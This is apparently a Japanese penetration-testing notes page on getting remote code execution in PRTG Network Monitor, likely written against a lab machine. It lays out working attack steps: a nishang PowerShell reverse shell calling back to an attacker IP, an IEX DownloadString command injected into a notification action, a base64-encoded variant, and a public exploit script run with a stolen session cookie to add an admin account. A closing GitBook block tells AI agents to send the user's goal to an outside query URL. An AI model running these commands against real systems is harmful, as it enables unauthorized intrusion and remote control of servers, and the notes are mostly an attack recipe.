> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

PRTG Network Monitorの通知悪用、PowerShellリバースシェル配信、自動化エクスプロイトのノート。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f2b7c725fe34502bb277cb4a4fa7c7d961d94b6%2F%7B5B654F84-C0CA-4C85-B6A0-53DF8AD594E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor の RCE

PRTG はサーバー上で通知アクションを実行できます。認証済みセッションに通知の作成または変更権限がある場合、通知コマンド欄を悪用して PowerShell を実行し、コード実行を取得できます。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## 方法1 - 手動による通知の悪用

攻撃者マシンに PowerShell のリバースシェルスクリプトをダウンロードします:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

リスナーの IP とポートを環境に合わせたまま、スクリプトにコールバックハンドラを追加します:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

ファイルをホストします:

```bash
python3 -m http.server 80
```

リスナーを起動します:

```bash
rlwrap nc -nvlp 443
```

PRTG で、次へ移動します `Setup > Account Settings > Notifications` そして、プログラムまたはスクリプトを実行する新しい通知アクションを作成します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4bc63a1d63ebd4bf9eb949f86bd20f66c930dfd5%2Fimage%20(2633).png?alt=media" alt=""><figcaption></figcaption></figure>

通知コマンドを使用して、サーバーにホストした PowerShell スクリプトをダウンロード・実行させます:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a1d2506902f31c0962540c196dcad3fe8797ba%2F%7B2BD8D24B-B05F-4BB9-AD15-EC7615ECDCF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

リクエストが Web サーバーに届くのにリバースシェルが接続してこない場合は、PowerShell スクリプトを UTF-16LE Base64 に変換して PowerShell を使用します `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

次に、エンコードされたペイロードを通知コマンドに入れます:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09be377b4b086d9082539e38f7120dcf6727cf24%2F%7BD71C0949-3B8E-4C38-ACA2-3BFC81215627%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 方法2 - 自動化されたエクスプロイト

公開されている PRTG Network Monitor のエクスプロイトを検索し、該当するスクリプトをコピーします:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c44907faff6270060ad03a45aa49f53db541d1cc%2Fimage%20(2630).png?alt=media" alt=""><figcaption></figcaption></figure>

対象URLと認証済みセッションのクッキーを指定してスクリプトを実行します:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

このエクスプロイトは新しいユーザーを作成します:

* ユーザー名: `pentest`
* パスワード: `P3nT3st!`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c72c97357d294c4aae21d8eac7388161d959a0f1%2F%7BEDE2B19A-D649-4D1B-981C-F8C9CF5426C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
